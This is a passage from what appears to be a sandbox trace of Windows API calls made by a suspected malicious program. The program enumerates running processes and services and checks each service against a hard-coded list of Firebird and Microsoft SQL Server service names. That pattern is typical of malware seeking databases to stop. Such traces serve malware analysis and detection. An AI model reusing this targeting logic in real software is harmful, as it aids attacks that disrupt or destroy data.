13 [0164.378] Process32NextW (in: hSnapshot=0x388, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wrist_exhaust.exe")) returned 1 [0164.379] lstrlenW (lpString="wrist_exhaust.exe") returned 17 [0164.379] Process32NextW (in: hSnapshot=0x388, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="movers-indication.exe")) returned 1 [0164.379] lstrlenW (lpString="movers-indication.exe") returned 21 [0164.379] Process32NextW (in: hSnapshot=0x388, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x910, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="drama tv thee.exe")) returned 1 [0164.380] lstrlenW (lpString="drama tv thee.exe") returned 17 [0164.380] Process32NextW (in: hSnapshot=0x388, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="barriers.exe")) returned 1 [0164.381] lstrlenW (lpString="barriers.exe") returned 12 [0164.381] Process32NextW (in: hSnapshot=0x388, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="shootclick.exe")) returned 1 [0164.382] lstrlenW (lpString="shootclick.exe") returned 14 [0164.382] Process32NextW (in: hSnapshot=0x388, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x200, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="nickel.exe")) returned 1 [0164.383] lstrlenW (lpString="nickel.exe") returned 10 [0164.383] Process32NextW (in: hSnapshot=0x388, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="imperialopened.exe")) returned 1 [0164.384] lstrlenW (lpString="imperialopened.exe") returned 18 [0164.384] Process32NextW (in: hSnapshot=0x388, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="russell indonesian fo.exe")) returned 1 [0164.384] lstrlenW (lpString="russell indonesian fo.exe") returned 25 [0164.384] Process32NextW (in: hSnapshot=0x388, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="blood popularity orbit.exe")) returned 1 [0164.385] lstrlenW (lpString="blood popularity orbit.exe") returned 26 [0164.385] Process32NextW (in: hSnapshot=0x388, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="perhapssentences.exe")) returned 1 [0164.386] lstrlenW (lpString="perhapssentences.exe") returned 20 [0164.386] Process32NextW (in: hSnapshot=0x388, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0164.387] lstrlenW (lpString="dllhost.exe") returned 11 [0164.387] Process32NextW (in: hSnapshot=0x388, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0164.388] lstrlenW (lpString="svchost.exe") returned 11 [0164.388] Process32NextW (in: hSnapshot=0x388, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0164.389] lstrlenW (lpString="chrome64b.exe") returned 13 [0164.389] Process32NextW (in: hSnapshot=0x388, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0164.389] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0164.389] Process32NextW (in: hSnapshot=0x388, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd20, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0164.390] lstrlenW (lpString="conhost.exe") returned 11 [0164.390] Process32NextW (in: hSnapshot=0x388, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0164.391] lstrlenW (lpString="cmd.exe") returned 7 [0164.391] Process32NextW (in: hSnapshot=0x388, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xb64, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0164.392] lstrlenW (lpString="conhost.exe") returned 11 [0164.392] Process32NextW (in: hSnapshot=0x388, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0164.392] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0164.392] Process32NextW (in: hSnapshot=0x388, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xb64, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0164.393] lstrlenW (lpString="mode.com") returned 8 [0164.393] Process32NextW (in: hSnapshot=0x388, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xb64, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0 [0164.394] CloseHandle (hObject=0x388) returned 1 [0164.394] Sleep (dwMilliseconds=0x1f4) [0165.083] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x7ce8e8 [0165.084] EnumServicesStatusExW (in: hSCManager=0x7ce8e8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0) returned 0 [0165.084] GetLastError () returned 0xea [0165.084] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x1edc) returned 0x43800c8 [0165.084] EnumServicesStatusExW (in: hSCManager=0x7ce8e8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x43800c8, cbBufSize=0x1edc, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x43800c8, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0) returned 1 [0165.085] CloseServiceHandle (hSCObject=0x7ce8e8) returned 1 [0165.085] lstrlenW (lpString="Appinfo") returned 7 [0165.085] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0165.085] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0165.085] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0165.085] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0165.085] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0165.085] lstrlenW (lpString="AppXSvc") returned 7 [0165.085] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0165.085] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0165.085] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0165.085] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0165.085] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0165.085] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0165.085] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0165.085] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0165.085] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0165.085] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0165.085] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0165.085] lstrlenW (lpString="Audiosrv") returned 8 [0165.086] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0165.086] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0165.086] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0165.086] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0165.086] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0165.086] lstrlenW (lpString="BFE") returned 3 [0165.086] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0165.086] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0165.086] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0165.086] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0165.086] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0165.086] lstrlenW (lpString="BITS") returned 4 [0165.086] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0165.086] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0165.086] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0165.086] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0165.086] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0165.086] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0165.086] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0165.086] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0165.086] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0165.086] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0165.086] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0165.086] lstrlenW (lpString="CDPSvc") returned 6 [0165.086] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0165.086] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0165.086] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0165.086] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0165.086] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0165.086] lstrlenW (lpString="ClickToRunSvc") returned 13 [0165.086] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0165.086] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0165.086] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0165.086] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0165.087] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0165.087] lstrlenW (lpString="ClipSVC") returned 7 [0165.087] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClipSVC") returned 1 [0165.087] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClipSVC") returned 1 [0165.087] lstrcmpiW (lpString1="sqlwriter", lpString2="ClipSVC") returned 1 [0165.087] lstrcmpiW (lpString1="mssqlserver", lpString2="ClipSVC") returned 1 [0165.087] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClipSVC") returned 1 [0165.087] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0165.087] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0165.087] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0165.087] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0165.087] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0165.087] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0165.087] lstrlenW (lpString="CryptSvc") returned 8 [0165.087] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0165.087] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0165.087] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0165.087] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0165.087] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0165.087] lstrlenW (lpString="DcomLaunch") returned 10 [0165.087] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0165.087] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0165.087] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0165.087] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0165.087] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0165.087] lstrlenW (lpString="DeviceAssociationService") returned 24 [0165.087] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0165.087] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0165.087] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0165.087] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0165.087] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0165.087] lstrlenW (lpString="Dhcp") returned 4 [0165.087] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0165.087] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0165.088] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0165.088] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0165.088] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0165.088] lstrlenW (lpString="Dnscache") returned 8 [0165.088] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0165.088] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0165.088] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0165.088] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0165.088] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0165.088] lstrlenW (lpString="DoSvc") returned 5 [0165.088] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0165.088] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0165.088] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0165.088] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0165.088] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0165.088] lstrlenW (lpString="DPS") returned 3 [0165.088] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0165.088] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0165.088] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0165.088] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0165.088] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0165.088] lstrlenW (lpString="DusmSvc") returned 7 [0165.088] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0165.088] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0165.088] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0165.088] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0165.088] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0165.088] lstrlenW (lpString="EventLog") returned 8 [0165.088] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0165.088] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0165.088] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0165.088] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0165.088] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0165.088] lstrlenW (lpString="EventSystem") returned 11 [0165.089] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0165.089] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0165.089] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0165.089] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0165.089] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0165.089] lstrlenW (lpString="FontCache") returned 9 [0165.089] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0165.089] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0165.089] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0165.089] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0165.089] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0165.089] lstrlenW (lpString="gpsvc") returned 5 [0165.089] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0165.089] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0165.089] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0165.089] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0165.089] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0165.089] lstrlenW (lpString="iphlpsvc") returned 8 [0165.089] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0165.089] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0165.089] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0165.089] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0165.089] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0165.089] lstrlenW (lpString="KeyIso") returned 6 [0165.089] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0165.089] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0165.089] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0165.089] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0165.089] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0165.089] lstrlenW (lpString="LanmanServer") returned 12 [0165.089] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0165.089] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0165.089] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0165.089] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0165.090] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0165.090] lstrlenW (lpString="LanmanWorkstation") returned 17 [0165.090] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0165.090] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0165.090] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0165.090] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0165.090] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0165.090] lstrlenW (lpString="lfsvc") returned 5 [0165.090] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0165.090] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0165.090] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0165.090] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0165.090] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0165.090] lstrlenW (lpString="LicenseManager") returned 14 [0165.090] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LicenseManager") returned -1 [0165.090] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LicenseManager") returned -1 [0165.090] lstrcmpiW (lpString1="sqlwriter", lpString2="LicenseManager") returned 1 [0165.090] lstrcmpiW (lpString1="mssqlserver", lpString2="LicenseManager") returned 1 [0165.090] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LicenseManager") returned 1 [0165.090] lstrlenW (lpString="lmhosts") returned 7 [0165.090] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0165.090] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0165.090] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0165.090] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0165.090] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0165.090] lstrlenW (lpString="LSM") returned 3 [0165.090] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0165.090] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0165.090] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0165.090] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0165.090] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0165.090] lstrlenW (lpString="MpsSvc") returned 6 [0165.090] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0165.090] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0165.090] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0165.091] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0165.091] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0165.091] lstrlenW (lpString="NcbService") returned 10 [0165.091] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0165.091] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0165.091] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0165.091] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0165.091] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0165.091] lstrlenW (lpString="netprofm") returned 8 [0165.091] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0165.091] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0165.091] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0165.118] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0165.118] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0165.118] lstrlenW (lpString="NlaSvc") returned 6 [0165.118] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0165.118] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0165.118] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0165.118] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0165.118] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0165.118] lstrlenW (lpString="nsi") returned 3 [0165.118] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0165.118] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0165.118] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0165.118] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0165.118] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0165.118] lstrlenW (lpString="PcaSvc") returned 6 [0165.118] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0165.118] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0165.118] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0165.118] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0165.118] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0165.118] lstrlenW (lpString="PlugPlay") returned 8 [0165.118] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0165.119] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0165.119] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0165.119] lstrcmpiW 